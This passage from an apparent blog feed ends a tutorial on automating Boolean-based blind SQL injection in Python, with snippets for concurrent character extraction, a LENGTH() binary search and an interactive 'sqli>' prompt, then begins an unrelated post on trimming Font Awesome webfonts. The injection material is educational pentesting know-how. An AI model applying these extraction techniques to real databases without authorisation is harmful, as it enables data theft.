        future_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;future&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; idx

    &lt;span class=&quot;token comment&quot;&gt;# Handle finished tasks concurrently.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_completed&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;future_map&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;future&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# We found the character at a particular index!&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Store it somewhere...&lt;/span&gt;
        somewhere&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ch&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The length of the string can be determined beforehand with another binary search. Assuming the max length is 2048...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; get_by_bsearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;LENGTH((&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sql&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;))&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2048&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;adding-comfort-features&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#adding-comfort-features&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Adding Comfort Features&lt;/h2&gt;
&lt;p&gt;Aside from a tool’s utility, we should also consider &lt;em&gt;user experience&lt;/em&gt;. We want to design the tool to be convenient for ourselves, and potentially other users. For instance, we shouldn’t have to modify code to change general settings (e.g. the target URL). And it&#39;d be nice to have visual feedback; waiting can be boring.&lt;/p&gt;
&lt;p&gt;Here are some things we&#39;ll add to our automation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Command Line Arguments&lt;/li&gt;
&lt;li&gt;Progress Bar&lt;/li&gt;
&lt;li&gt;Interactive Interface&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point, it’s mostly about choosing mature libraries, looking at documentation, and playing around with code. I’ll list some libraries I found useful/interesting.&lt;/p&gt;
&lt;h3 id=&quot;command-line-arguments&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#command-line-arguments&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Command Line Arguments&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/argparse.html&quot;&gt;&lt;code&gt;argparse&lt;/code&gt;&lt;/a&gt;, built-in, robust, used almost everywhere&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/google/python-fire&quot;&gt;&lt;code&gt;python-fire&lt;/code&gt;&lt;/a&gt;, convenient wrapper which generates command-line arguments from function annotations. (Looks interesting but I haven’t used.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;progress-bar&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#progress-bar&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Progress Bar&lt;/h3&gt;
&lt;p&gt;Common options are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Textualize/rich&quot;&gt;&lt;code&gt;rich&lt;/code&gt;&lt;/a&gt;, colourful, great look-and-feel&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tqdm/tqdm&quot;&gt;&lt;code&gt;tqdm&lt;/code&gt;&lt;/a&gt;, traditional rectangular progress bar&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Example of a `rich` progress bar in action.&quot; href=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1743w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1743w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1743 / 198&quot; alt=&quot;Example of a `rich` progress bar in action.&quot; title=&quot;Example of a `rich` progress bar in action.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-256w.webp 256w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-512w.webp 512w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1743w.webp 1743w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1743px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Some challenges arise when mixing progress bars with multithreading. In general...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dropping to a lower-level API helps alleviate issues. For example, &lt;code&gt;rich&lt;/code&gt; allows you to control how tasks are added, updated, and removed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KeyboardInterrupt&lt;/code&gt; and Exceptions should be carefully handled. You &lt;em&gt;do&lt;/em&gt; want &lt;code&gt;^C&lt;/code&gt; to work right?
&lt;ul&gt;
&lt;li&gt;&amp;quot;Boss, we accidentally swamped the hospital&#39;s database with our script. Their server was weak.&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;quot;Stop it! Millions of lives are at stake!&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;quot;We can&#39;t... Control-C doesn&#39;t work!&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;quot;You leave me no choice.&amp;quot; &lt;em&gt;(pours water over computer)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;interactive-interface&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#interactive-interface&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Interactive Interface&lt;/h3&gt;
&lt;p&gt;Instead of modifying the shell command on each SQL change, it would be nice to have an interactive, shell-like program for running SQL statements. Throwing &lt;code&gt;input()&lt;/code&gt; in a while-loop could work, but doesn&#39;t have the usual shortcuts (e.g. up for previous command&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;). To have a nicer, cross-platform terminal interface, we can use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/prompt-toolkit/python-prompt-toolkit&quot;&gt;&lt;code&gt;prompt_toolkit&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Has the usual terminal shortcuts: up, down, reverse search &lt;code&gt;^r&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Command history can be stored in a file so that it persists across runs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The implementation is as simple as replacing &lt;code&gt;input()&lt;/code&gt; with &lt;code&gt;prompt.prompt()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;sql &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;sqli&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;prompt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; PromptSession&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;history&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;FileHistory&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.history&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
sql &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; prompt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prompt&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;sqli&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;In this post, we introduced Boolean-Based Blind SQL injection, how it can be used to enumerate a database, and some optimisations and workarounds for exfiltrating data more reliably. We also explored some useful Python libraries to glue onto your project.&lt;/p&gt;
&lt;p&gt;Automation and scripting can be a powerful time saver when the need exists. We identified a tedious task — brute forcing characters for possibly long strings — and followed up with incremental changes. Hopefully the reader has picked up a few tips on automation.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Unicode characters are trickier to deal with. One possible way is to cast the number on the RHS with &lt;code&gt;CHAR&lt;/code&gt;. (This is the method SQLmap uses.) Another possible way in MySQL is to use &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.4/en/string-functions.html#function_ord&quot;&gt;&lt;code&gt;ord&lt;/code&gt;&lt;/a&gt;, which maps multibyte characters to base-256. Character encoding is hard. :( &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Full code for the Flask + SQLite demo is &lt;a href=&quot;https://github.com/TrebledJ/bsqli.py/blob/89e06c708d8a3be4afca6efcddff69097934d0df/demo/server.py&quot;&gt;uploaded on GitHub&lt;/a&gt; for reference. &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This should make sense in bit terms. We only need 7 queries to figure out the 7 bits of an ASCII character. (The first bit is assumed to be 0.) Most Boolean-Based SQLi throwaway scripts don&#39;t do binary search because the algorithm is tricky to get right. But it&#39;s useful to know, and can be applied to time-based SQLi (another type of blind SQLi) as well for massive time discounts. &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Although in Windows, this appears to be built-in?! At least Windows or Python on Windows does one thing well. 🤷‍♂️ &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>infosec</category>
        
          <category>sql</category>
        
          <category>python</category>
        
          <category>web</category>
        
          <category>programming</category>
        
          <category>project</category>
        
          <category>writeup</category>
        
          <category>tutorial</category>
        
          <category>pentesting</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Optimising Web Icons for Fun</title>
        <description>Ejecting unused cargo for leaner performance.</description>
        <link href="https://trebledj.me/posts/optimising-web-icons-for-fun/"/>
        <updated>2024-05-23T00:00:00Z</updated>
        <id>https://trebledj.me/posts/optimising-web-icons-for-fun/</id>
        <content xml:lang="en" type="html">&lt;p&gt;I decided to spend this Labour Day doing a bit of frontend performance engineering, learning Typescript along the way. I&#39;ve been eyeing my Font Awesome (FA) assets for a while, and lately they&#39;ve been a curious itch.&lt;/p&gt;
&lt;p&gt;Here’s the dealio: icon webfonts are known to bundle &lt;em&gt;all&lt;/em&gt; icons. This includes icons we don&#39;t use. For Font Awesome, this means the browser downloads 19kB CSS + 287kB WOFF2 gzipped data. But my site just uses 40 out of 2000… why download so much?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;I present you the heaviest objects in the universe: Font Files.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy-612w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy-612w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 612 / 408&quot; alt=&quot;I present you the heaviest objects in the universe: Font Files.&quot; title=&quot;I present you the heaviest objects in the universe: Font Files.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy-612w.webp 612w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 612px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I should take a step back. There are generally two established ways to handle icons on the web: 1) webfonts (plus CSS), and 2) inline SVGs (Scalable Vector Graphics). As its name suggests, SVGs scale nicely to any screen size and remove the need for font files. Both have their &lt;a href=&quot;https://blog.fontawesome.com/webfont-vs-svg/&quot;&gt;use cases&lt;/a&gt;, but the modern web recommends SVGs for general cases.&lt;/p&gt;
&lt;p&gt;Due to historical reasons, this site uses webfonts; and unfortunately, replacing webfonts with SVGs is not a simple &lt;em&gt;find-and-replace&lt;/em&gt;. If it were, I would&#39;ve included it in this analysis. After a painful struggle migrating a few icons, I decided to postpone migration. Didn&#39;t really feel like tuning CSS.&lt;/p&gt;
&lt;p&gt;So I turned my attention to slimming down webfonts like Garfield doing cardio. But before I explain the process, let&#39;s understand how icon webfonts work.&lt;/p&gt;
&lt;h2 id=&quot;icon-webfonts-under-the-hood&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#icon-webfonts-under-the-hood&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Icon Webfonts Under the Hood &lt;i class=&quot;fa-brands fa-redhat&quot;&gt;&lt;/i&gt;&lt;/h2&gt;
&lt;h3 id=&quot;fonts-and-unicode&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fonts-and-unicode&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Fonts and Unicode &lt;i class=&quot;fa-regular fa-face-smile&quot;&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;p&gt;There are various font formats: WOFF, TrueType, OpenType. These are essentially different ways to compress and store fonts. WOFF2, for instance, is a modern compression format optimised for the web.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Ultimately, fonts are mappings from integer codepoints to glyphs. These codepoints are standardised by the &lt;a href=&quot;https://www.unicode.org/standard/standard.html&quot;&gt;Unicode Standard&lt;/a&gt; and are expressed in the format &lt;code&gt;U+[0-9A-F]{4,6}&lt;/code&gt;, i.e. “U+” followed by 4-6 hexadecimal digits. For example, the number U+0030 maps to &amp;quot;0&amp;quot;, and U+0041 maps to &amp;quot;A&amp;quot;, U+2206 maps to &amp;quot;∆&amp;quot; (delta), and U+6C34 maps to &amp;quot;水&amp;quot;.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Codepoints are &lt;em&gt;not&lt;/em&gt; to be confused with UTF-8, UTF-16, and UTF-32, which are different ways to efficiently store Unicode characters in byte format.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;You may be wondering: so what codepoints map to icons? This is up to icon packs to define. Since most icons are custom by nature, they&#39;re usually placed in custom regions known as Private Use Areas, reserved by the Unicode Standard. One such region is U+E000 – U+F8FF.&lt;/p&gt;
&lt;h3 id=&quot;fonts-and-css&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fonts-and-css&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Fonts and CSS &lt;i class=&quot;fa-brands fa-css3-alt&quot;&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;p&gt;For webfonts to work, codepoints need to exist in the HTML text. But that&#39;s terribly inconvenient — writing magic numbers makes for hard-to-maintain code.&lt;/p&gt;
&lt;p&gt;This is where CSS comes in. Specialised CSS rules connect the HTML code to the exact font glyph via a two-step process: 1) identifying the font file and 2) identifying the codepoint. Once the browser has these two pieces of information, it can render the glyph.&lt;/p&gt;
&lt;p&gt;Suppose we write the following HTML code:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-html&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;i&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;fas fa-rocket&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;i&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The font file is determined by matching the assigned font with the custom font face. The &lt;code&gt;fas&lt;/code&gt; class is key here.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-css&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.fas&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Font Awesome 6 Free&quot;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-style&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; normal&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 900&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@font-face&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Font Awesome 6 Free&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;font-style&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; normal&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 900&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;font-display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; block&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token function&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;../webfonts/fa-solid-900.woff2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;woff2&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token function&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;../webfonts/fa-solid-900.ttf&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;truetype&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;CSS&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The codepoint is inserted with a &lt;code&gt;:before&lt;/code&gt; pseudo-element. For &lt;code&gt;fa-rocket&lt;/code&gt;, this is U+F135.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-css&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.fa-rocket:before&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;f135&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;CSS&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It&#39;s a lot of indirection, and this is one reason why SVGs are preferred; but hey, this was the gold standard a decade ago.&lt;/p&gt;
